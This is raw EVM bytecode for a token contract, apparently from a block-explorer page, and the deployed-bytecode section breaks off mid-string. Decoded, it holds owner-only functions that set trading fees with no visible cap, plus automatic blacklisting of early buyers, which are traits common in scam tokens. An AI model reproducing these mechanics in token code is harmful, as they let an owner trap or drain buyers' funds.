b565b90915550506001600160a01b038216600090815260208190526040812080548392906200040e9084906200073b565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200048357607f821691505b602082108103620004a457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004f857600081815260208120601f850160051c81016020861015620004d35750805b601f850160051c820191505b81811015620004f457828155600101620004df565b5050505b505050565b81516001600160401b0381111562000519576200051962000458565b62000531816200052a84546200046e565b84620004aa565b602080601f831160018114620005695760008415620005505750858301515b600019600386901b1c1916600185901b178555620004f4565b600085815260208120601f198616915b828110156200059a5788860151825594840194600190910190840162000579565b5085821015620005b95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620005dc57600080fd5b81516001600160a01b0381168114620005f457600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000652578160001904821115620006365762000636620005fb565b808516156200064457918102915b93841c939080029062000616565b509250929050565b6000826200066b575060016200070a565b816200067a575060006200070a565b81600181146200069357600281146200069e57620006be565b60019150506200070a565b60ff841115620006b257620006b2620005fb565b50506001821b6200070a565b5060208310610133831016604e8410600b8410161715620006e3575081810a6200070a565b620006ef838362000611565b8060001904821115620007065762000706620005fb565b0290505b92915050565b6000620005f460ff8416836200065a565b80820281158282048414176200070a576200070a620005fb565b808201808211156200070a576200070a620005fb565b61209580620007616000396000f3fe60806040526004361061026b5760003560e01c80638da5cb5b11610144578063aa4bde28116100b6578063dbe66ca01161007a578063dbe66ca01461070c578063dd62ed3e1461073c578063e01af92c14610782578063e16ebfc5146107a2578063f2fde38b146107c2578063f887ea40146107e257600080fd5b8063aa4bde2814610680578063aacebbe314610696578063c18bc195146106b6578063cc1776d3146106d6578063d34628cc146106ec57600080fd5b80639e252f00116101085780639e252f00146105ca578063a3ca847d146105ea578063a457c2d71461060a578063a64797c71461062a578063a8aa1b3114610640578063a9059cbb1461066057600080fd5b80638da5cb5b146105415780638ea5220f1461055f57806395d89b411461057f57806399c8d556146105945780639d0014b1146105aa57600080fd5b80634ada218b116101dd57806370a08231116101a157806370a0823114610473578063715018a6146104a957806375f0a874146104be5780638a8c523c146104f65780638c0b5e221461050b5780638cd4426d1461052157600080fd5b80634ada218b146103e557806350c9a88f14610406578063585449681461041c5780636256d181146104325780636ddd17131461045257600080fd5b80631816467f1161022f5780631816467f1461032957806323b872dd1461034957806326b5d32f14610369578063313ce5671461038957806339509351146103a557806340b28c2f146103c557600080fd5b80630445b6671461027757806306fdde03146102a05780630940bbc7146102c2578063095ea7b3146102e457806318160ddd1461031457600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d600e5481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b506102b5610802565b6040516102979190611c20565b3480156102ce57600080fd5b506102e26102dd366004611c6e565b610894565b005b3480156102f057600080fd5b506103046102ff366004611cac565b6108cc565b6040519015158152602001610297565b34801561032057600080fd5b5060025461028d565b34801561033557600080fd5b506102e2610344366004611cd8565b6108e3565b34801561035557600080fd5b50610304610364366004611cf5565b61092f565b34801561037557600080fd5b506102e2610384366004611d36565b6109e0565b34801561039557600080fd5b5060405160128152602001610297565b3480156103b157600080fd5b506103046103c0366004611cac565b610a9b565b3480156103d157600080fd5b506102e26103e0366004611d62565b610ad2565b3480156103f157600080fd5b5060095461030490600160b01b900460ff1681565b34801561041257600080fd5b5061028d600b5481565b34801561042857600080fd5b5061028d600a5481565b34801561043e57600080fd5b506102e261044d366004611c6e565b610b2a565b34801561045e57600080fd5b5060095461030490600160a81b900460ff1681565b34801561047f57600080fd5b5061028d61048e366004611cd8565b6001600160a01b031660009081526020819052604090205490565b3480156104b557600080fd5b506102e2610b6c565b3480156104ca57600080fd5b506008546104de906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561050257600080fd5b506102e2610ba2565b34801561051757600080fd5b5061028d600f5481565b34801561052d57600080fd5b506102e261053c366004611cac565b610c36565b34801561054d57600080fd5b506005546001600160a01b03166104de565b34801561056b57600080fd5b506009546104de906001600160a01b031681565b34801561058b57600080fd5b506102b5610cf7565b3480156105a057600080fd5b5061028d60115481565b3480156105b657600080fd5b506102e26105c5366004611c6e565b610d06565b3480156105d657600080fd5b506102e26105e5366004611c6e565b610d35565b3480156105f657600080fd5b506102e2610605366004611c6e565b610d87565b34801561061657600080fd5b50610304610625366004611cac565b610db6565b34801561063657600080fd5b5061028d60135481565b34801561064c57600080fd5b506007546104de906001600160a01b031681565b34801561066c57600080fd5b5061030461067b366004611cac565b610e51565b34801561068c57600080fd5b5061028d60105481565b3480156106a257600080fd5b506102e26106b1366004611cd8565b610e5e565b3480156106c257600080fd5b506102e26106d1366004611c6e565b610eaa565b3480156106e257600080fd5b5061028d60125481565b3480156106f857600080fd5b506102e2610707366004611db1565b610eec565b34801561071857600080fd5b50610304610727366004611cd8565b600c6020526000908152604090205460ff1681565b34801561074857600080fd5b5061028d610757366004611d62565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561078e57600080fd5b506102e261079d366004611e84565b610f82565b3480156107ae57600080fd5b506102e26107bd366004611db1565b610fca565b3480156107ce57600080fd5b506102e26107dd366004611cd8565b61105c565b3480156107ee57600080fd5b506006546104de906001600160a01b031681565b60606003805461081190611ea1565b80601f016020809104026020016040519081016040528092919081815260200182805461083d90611ea1565b801561088a5780601f1061085f5761010080835404028352916020019161088a565b820191906000526020600020905b81548152906001019060200180831161086d57829003601f168201915b5050505050905090565b6005546001600160a01b031633146108c75760405162461bcd60e51b81526004016108be90611edb565b60405180910390fd5b601255565b60006108d93384846110f4565b5060015b92915050565b6005546001600160a01b0316331461090d5760405162461bcd60e51b81526004016108be90611edb565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600061093c848484611218565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109c15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108be565b6109d585336109d08685611f26565b6110f4565b506001949350505050565b6005546001600160a01b03163314610a0a5760405162461bcd60e51b81526004016108be90611edb565b47610a148461167f565b6000610a208247611f26565b90508215610a5b57610a5b610a358486611f39565b610a3f8584611f4c565b610a499190611f63565b6008546001600160a01b0316906117d9565b8315610a9457610a94610a6e8486611f39565b610a788684611f4c565b610a829190611f63565b6009546001600160a01b0316906117d9565b5050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d99185906109d0908690611f39565b6005546001600160a01b03163314610afc5760405162461bcd60e51b81526004016108be90611edb565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610b545760405162461bcd60e51b81526004016108be90611edb565b610b6681670de0b6b3a7640000611f4c565b600f5550565b6005546001600160a01b03163314610b965760405162461bcd60e51b81526004016108be90611edb565b610ba060006118f2565b565b6005546001600160a01b03163314610bcc5760405162461bcd60e51b81526004016108be90611edb565b600954600160b01b900460ff1615610c1f5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108be565b6009805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610c605760405162461bcd60e51b81526004016108be90611edb565b816001600160a01b031663a9059cbb610c816005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610cce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf29190611f85565b505050565b60606004805461081190611ea1565b6005546001600160a01b03163314610d305760405162461bcd60e51b81526004016108be90611edb565b600e55565b6005546001600160a01b03163314610d5f5760405162461bcd60e51b81526004016108be90611edb565b610d8481610d756005546001600160a01b031690565b6001600160a01b0316906117d9565b50565b6005546001600160a01b03163314610db15760405162461bcd60e51b81526004016108be90611edb565b601155565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e385760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108be565b610e4733856109d08685611f26565b5060019392505050565b60006108d9338484611218565b6005546001600160a01b03163314610e885760405162461bcd60e51b81526004016108be90611edb565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610ed45760405162461bcd60e51b81526004016108be90611edb565b610ee681670de0b6b3a7640000611f4c565b60105550565b6005546001600160a01b03163314610f165760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600d6000848481518110610f3a57610f3a611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f7681611fb8565b915050610f19565b5050565b6005546001600160a01b03163314610fac5760405162461bcd60e51b81526004016108be90611edb565b60098054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b03163314610ff45760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600c600084848151811061101857611018611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061105481611fb8565b915050610ff7565b6005546001600160a01b031633146110865760405162461bcd60e51b81526004016108be90611edb565b6001600160a01b0381166110eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108be565b610d84816118f2565b6001600160a01b0383166111565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108be565b6001600160a01b0382166111b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108be565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000811161127a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108be565b6001600160a01b0383166000908152600d602052604090205460ff16806112b957506001600160a01b0382166000908152600d602052604090205460ff165b156112ee576013546012556010546001600160a01b038085166000908152600160209081526040808320938716835292905220555b6001600160a01b0383166000908152600c602052604090205460ff1615801561133057506001600160a01b0382166000908152600c602052604090205460ff16155b80156113465750600954600160a01b900460ff16155b1561151257600954600160b01b900460ff1661139d5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b60448201526064016108be565b43600b54600a546113ae9190611f39565b1115611426576007546001600160a01b038381169116146113ed576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b6007546001600160a01b03848116911614611426576001600160a01b0383166000908152600d60205260409020805460ff191660011790555b600f548111156114785760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61785478416d6f756e7400000060448201526064016108be565b6007546001600160a01b0383811691161461151257601054816114b0846001600160a01b031660009081526020819052604090205490565b6114ba9190611f39565b11156115125760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b60648201526084016108be565b600954600090600160a01b900460ff168061154557506001600160a01b0384166000908152600c602052604090205460ff165b8061156857506001600160a01b0383166000908152600c602052604090205460ff165b15611575575060006115ee565b6007546001600160a01b0384811691161480156115ab57506001600160a01b0384166000908152600d602052604090205460ff16155b156115d1576064601254836115c09190611f4c565b6115ca9190611f63565b90506115ee565b6064601154836115e19190611f4c565b6115eb9190611f63565b90505b600954600160a81b900460ff1680156116115750600954600160a01b900460ff16155b801561162b57506007546001600160a01b03858116911614155b80156116375750600081115b1561164457611644611944565b801561166e576116558430836119c5565b61166984846116648585611b9d565b6119c5565b611679565b6116798484846119c5565b50505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116b4576116b4611fa2565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561170d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117319190611fd1565b8160018151811061174457611744611fa2565b6001600160a01b03928316602091820292909201015260065461176a91309116846110f4565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117a3908590600090869030904290600401611fee565b600060405180830381600087803b1580156117bd57600080fd5b505af11580156117d1573d6000803e3d6000fd5b505050505050565b804710156118295760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108be565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611876576040519150601f19603f3d011682016040523d82523d6000602084013e61187b565b606091505b5050905080610cf25760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108be565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600954600160a01b900460ff16610ba0576009805460ff60a01b1916600160a01b179055306000908152602081905260408120549050600e5481106119b5574761198d8261167f565b60006119998247611f26565b6008549091506119b2906001600160a01b0316826117d9565b50505b506009805460ff60a01b19169055565b6001600160a01b038316611a295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108be565b6001600160a01b038216611a8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108be565b6001600160a01b03831660009081526020819052604090205481811015611b035760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108be565b611b0d8282611f26565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611b43908490611f39565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8f91815260200190565b60405180910390a350505050565b6000611bdf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611be6565b9392505050565b60008184841115611c0a5760405162461bcd60e51b81526004016108be9190611c20565b506000611c178585611f26565b95945050505050565b600060208083528351808285015260005b81811015611c4d57858101830151858201604001528201611c31565b506000604082860101526040601f19601f8301168501019250505092915050565b600060208284031215611c8057600080fd5b5035919050565b6001600160a01b0381168114610d8457600080fd5b8035611ca781611c87565b919050565b60008060408385031215611cbf57600080fd5b8235611cca81611c87565b946020939093013593505050565b600060208284031215611cea57600080fd5b8135611bdf81611c87565b600080600060608486031215611d0a57600080fd5b8335611d1581611c87565b92506020840135611d2581611c87565b929592945050506040919091013590565b600080600060608486031215611d4b57600080fd5b505081359360208301359350604090920135919050565b60008060408385031215611d7557600080fd5b8235611d8081611c87565b91506020830135611d9081611c87565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611dc457600080fd5b823567ffffffffffffffff80821115611ddc57600080fd5b818501915085601f830112611df057600080fd5b813581811115611e0257611e02611d9b565b8060051b604051601f19603f83011681018181108582111715611e2757611e27611d9b565b604052918252848201925083810185019188831115611e4557600080fd5b938501935b82851015611e6a57611e5b85611c9c565b84529385019392850192611e4a565b98975050505050505050565b8015158114610d8457600080fd5b600060208284031215611e9657600080fd5b8135611bdf81611e76565b600181811c90821680611eb557607f821691505b602082108103611ed557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156108dd576108dd611f10565b808201808211156108dd576108dd611f10565b80820281158282048414176108dd576108dd611f10565b600082611f8057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611f9757600080fd5b8151611bdf81611e76565b634e487b7160e01b600052603260045260246000fd5b600060018201611fca57611fca611f10565b5060010190565b600060208284031215611fe357600080fd5b8151611bdf81611c87565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561203e5784516001600160a01b031683529383019391830191600101612019565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212208e4de10ddf8d1a1127a80666fac9620d3e5b6c36db1bc186f1a12c005a6d46bf64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061026b5760003560e01c80638da5cb5b11610144578063aa4bde28116100b6578063dbe66ca01161007a578063dbe66ca01461070c578063dd62ed3e1461073c578063e01af92c14610782578063e16ebfc5146107a2578063f2fde38b146107c2578063f887ea40146107e257600080fd5b8063aa4bde2814610680578063aacebbe314610696578063c18bc195146106b6578063cc1776d3146106d6578063d34628cc146106ec57600080fd5b80639e252f00116101085780639e252f00146105ca578063a3ca847d146105ea578063a457c2d71461060a578063a64797c71461062a578063a8aa1b3114610640578063a9059cbb1461066057600080fd5b80638da5cb5b146105415780638ea5220f1461055f57806395d89b411461057f57806399c8d556146105945780639d0014b1146105aa57600080fd5b80634ada218b116101dd57806370a08231116101a157806370a0823114610473578063715018a6146104a957806375f0a874146104be5780638a8c523c146104f65780638c0b5e221461050b5780638cd4426d1461052157600080fd5b80634ada218b146103e557806350c9a88f14610406578063585449681461041c5780636256d181146104325780636ddd17131461045257600080fd5b80631816467f1161022f5780631816467f1461032957806323b872dd1461034957806326b5d32f14610369578063313ce5671461038957806339509351146103a557806340b28c2f146103c557600080fd5b80630445b6671461027757806306fdde03146102a05780630940bbc7146102c2578063095ea7b3146102e457806318160ddd1461031457600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d600e5481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b506102b5610802565b6040516102979190611c20565b3480156102ce57600080fd5b506102e26102dd366004611c6e565b610894565b005b3480156102f057600080fd5b506103046102ff366004611cac565b6108cc565b6040519015158152602001610297565b34801561032057600080fd5b5060025461028d565b34801561033557600080fd5b506102e2610344366004611cd8565b6108e3565b34801561035557600080fd5b50610304610364366004611cf5565b61092f565b34801561037557600080fd5b506102e2610384366004611d36565b6109e0565b34801561039557600080fd5b5060405160128152602001610297565b3480156103b157600080fd5b506103046103c0366004611cac565b610a9b565b3480156103d157600080fd5b506102e26103e0366004611d62565b610ad2565b3480156103f157600080fd5b5060095461030490600160b01b900460ff1681565b34801561041257600080fd5b5061028d600b5481565b34801561042857600080fd5b5061028d600a5481565b34801561043e57600080fd5b506102e261044d366004611c6e565b610b2a565b34801561045e57600080fd5b5060095461030490600160a81b900460ff1681565b34801561047f57600080fd5b5061028d61048e366004611cd8565b6001600160a01b031660009081526020819052604090205490565b3480156104b557600080fd5b506102e2610b6c565b3480156104ca57600080fd5b506008546104de906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561050257600080fd5b506102e2610ba2565b34801561051757600080fd5b5061028d600f5481565b34801561052d57600080fd5b506102e261053c366004611cac565b610c36565b34801561054d57600080fd5b506005546001600160a01b03166104de565b34801561056b57600080fd5b506009546104de906001600160a01b031681565b34801561058b57600080fd5b506102b5610cf7565b3480156105a057600080fd5b5061028d60115481565b3480156105b657600080fd5b506102e26105c5366004611c6e565b610d06565b3480156105d657600080fd5b506102e26105e5366004611c6e565b610d35565b3480156105f657600080fd5b506102e2610605366004611c6e565b610d87565b34801561061657600080fd5b50610304610625366004611cac565b610db6565b34801561063657600080fd5b5061028d60135481565b34801561064c57600080fd5b506007546104de906001600160a01b031681565b34801561066c57600080fd5b5061030461067b366004611cac565b610e51565b34801561068c57600080fd5b5061028d60105481565b3480156106a257600080fd5b506102e26106b1366004611cd8565b610e5e565b3480156106c257600080fd5b506102e26106d1366004611c6e565b610eaa565b3480156106e257600080fd5b5061028d60125481565b3480156106f857600080fd5b506102e2610707366004611db1565b610eec565b34801561071857600080fd5b50610304610727366004611cd8565b600c6020526000908152604090205460ff1681565b34801561074857600080fd5b5061028d610757366004611d62565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561078e57600080fd5b506102e261079d366004611e84565b610f82565b3480156107ae57600080fd5b506102e26107bd366004611db1565b610fca565b3480156107ce57600080fd5b506102e26107dd366004611cd8565b61105c565b3480156107ee57600080fd5b506006546104de906001600160a01b031681565b60606003805461081190611ea1565b80601f016020809104026020016040519081016040528092919081815260200182805461083d90611ea1565b801561088a5780601f1061085f5761010080835404028352916020019161088a565b820191906000526020600020905b81548152906001019060200180831161086d57829003601f168201915b5050505050905090565b6005546001600160a01b031633146108c75760405162461bcd60e51b81526004016108be90611edb565b60405180910390fd5b601255565b60006108d93384846110f4565b5060015b92915050565b6005546001600160a01b0316331461090d5760405162461bcd60e51b81526004016108be90611edb565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600061093c848484611218565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156109c15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016108be565b6109d585336109d08685611f26565b6110f4565b506001949350505050565b6005546001600160a01b03163314610a0a5760405162461bcd60e51b81526004016108be90611edb565b47610a148461167f565b6000610a208247611f26565b90508215610a5b57610a5b610a358486611f39565b610a3f8584611f4c565b610a499190611f63565b6008546001600160a01b0316906117d9565b8315610a9457610a94610a6e8486611f39565b610a788684611f4c565b610a829190611f63565b6009546001600160a01b0316906117d9565b5050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d99185906109d0908690611f39565b6005546001600160a01b03163314610afc5760405162461bcd60e51b81526004016108be90611edb565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6005546001600160a01b03163314610b545760405162461bcd60e51b81526004016108be90611edb565b610b6681670de0b6b3a7640000611f4c565b600f5550565b6005546001600160a01b03163314610b965760405162461bcd60e51b81526004016108be90611edb565b610ba060006118f2565b565b6005546001600160a01b03163314610bcc5760405162461bcd60e51b81526004016108be90611edb565b600954600160b01b900460ff1615610c1f5760405162461bcd60e51b815260206004820152601660248201527554726164696e6720616c72656164792061637469766560501b60448201526064016108be565b6009805461ffff60a81b191661010160a81b179055565b6005546001600160a01b03163314610c605760405162461bcd60e51b81526004016108be90611edb565b816001600160a01b031663a9059cbb610c816005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610cce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf29190611f85565b505050565b60606004805461081190611ea1565b6005546001600160a01b03163314610d305760405162461bcd60e51b81526004016108be90611edb565b600e55565b6005546001600160a01b03163314610d5f5760405162461bcd60e51b81526004016108be90611edb565b610d8481610d756005546001600160a01b031690565b6001600160a01b0316906117d9565b50565b6005546001600160a01b03163314610db15760405162461bcd60e51b81526004016108be90611edb565b601155565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610e385760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108be565b610e4733856109d08685611f26565b5060019392505050565b60006108d9338484611218565b6005546001600160a01b03163314610e885760405162461bcd60e51b81526004016108be90611edb565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610ed45760405162461bcd60e51b81526004016108be90611edb565b610ee681670de0b6b3a7640000611f4c565b60105550565b6005546001600160a01b03163314610f165760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600d6000848481518110610f3a57610f3a611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610f7681611fb8565b915050610f19565b5050565b6005546001600160a01b03163314610fac5760405162461bcd60e51b81526004016108be90611edb565b60098054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b03163314610ff45760405162461bcd60e51b81526004016108be90611edb565b60005b8151811015610f7e576001600c600084848151811061101857611018611fa2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061105481611fb8565b915050610ff7565b6005546001600160a01b031633146110865760405162461bcd60e51b81526004016108be90611edb565b6001600160a01b0381166110eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108be565b610d84816118f2565b6001600160a01b0383166111565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108be565b6001600160a01b0382166111b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108be565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000811161127a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108be565b6001600160a01b0383166000908152600d602052604090205460ff16806112b957506001600160a01b0382166000908152600d602052604090205460ff165b156112ee576013546012556010546001600160a01b038085166000908152600160209081526040808320938716835292905220555b6001600160a01b0383166000908152600c602052604090205460ff1615801561133057506001600160a01b0382166000908152600c602052604090205460ff16155b80156113465750600954600160a01b900460ff16155b1561151257600954600160b01b900460ff1661139d5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81b9bdd081858dd1a5d99481e595d60521b60448201526064016108be565b43600b54600a546113ae9190611f39565b1115611426576007546001600160a01b038381169116146113ed576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b6007546001600160a01b03848116911614611426576001600160a01b0383166000908152600d60205260409020805460ff191660011790555b600f548111156114785760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61785478416d6f756e7400000060448201526064016108be565b6007546001600160a01b0383811691161461151257601054816114b0846001600160a01b031660009081526020819052604090205490565b6114ba9190611f39565b11156115125760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b60648201526084016108be565b600954600090600160a01b900460ff168061154557506001600160a01b0384166000908152600c602052604090205460ff165b8061156857506001600160a01b0383166000908152600c602052604090205460ff165b15611575575060006115ee565b6007546001600160a01b0384811691161480156115ab57506001600160a01b0384166000908152600d602052604090205460ff16155b156115d1576064601254836115c09190611f4c565b6115ca9190611f63565b90506115ee565b6064601154836115e19190611f4c565b6115eb9190611f63565b90505b600954600160a81b900460ff1680156116115750600954600160a01b900460ff16155b801561162b57506007546001600160a01b03858116911614155b80156116375750600081115b1561164457611644611944565b801561166e576116558430836119c5565b61166984846116648585611b9d565b6119c5565b611679565b6116798484846119c5565b50505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116b4576116b4611fa2565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561170d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117319190611fd1565b8160018151811061174457611744611fa2565b6001600160a01b03928316602091820292909201015260065461176a91309116846110f4565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117a3908590600090869030904290600401611fee565b600060405180830381600087803b1580156117bd57600080fd5b505af11580156117d1573d6000803e3d6000fd5b505050505050565b804710156118295760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108be565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611876576040519150601f19603f3d011682016040523d82523d6000602084013e61187b565b606091505b5050905080610cf25760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108be565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600954600160a01b900460ff16610ba0576009805460ff60a01b1916600160a01b179055306000908152602081905260408120549050600e5481106119b5574761198d8261167f565b60006119998247611f26565b6008549091506119b2906001600160a01b0316826117d9565b50505b506009805460ff60a01b19169055565b6001600160a01b038316611a295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108be565b6001600160a01b038216611a8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108be565b6001600160a01b03831660009081526020819052604090205481811015611b035760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016108be565b611b0d8282611f26565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611b43908490611f39565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b8f91815260200190565b60405180910390a350505050565b6000611bdf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611be6565b9392505050565b60008184841115611c0a5760405162461bcd60e51b81526004016108be9190611c20565b506000611c178585611f26565b95945050505050565b600060208083528351808285015260005b81811015611c4d57858101830151858201604001528201611c31565b506000604082860101526040601f19601f8301168501019250505092915050565b600060208284031215611c8057600080fd5b5035919050565b6001600160a01b0381168114610d8457600080fd5b8035611ca781611c87565b919050565b60008060408385031215611cbf57600080fd5b8235611cca81611c87565b946020939093013593505050565b600060208284031215611cea57600080fd5b8135611bdf81611c87565b600080600060608486031215611d0a57600080fd5b8335611d1581611c87565b92506020840135611d2581611c87565b929592945050506040919091013590565b600080600060608486031215611d4b57600080fd5b505081359360208301359350604090920135919050565b60008060408385031215611d7557600080fd5b8235611d8081611c87565b91506020830135611d9081611c87565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600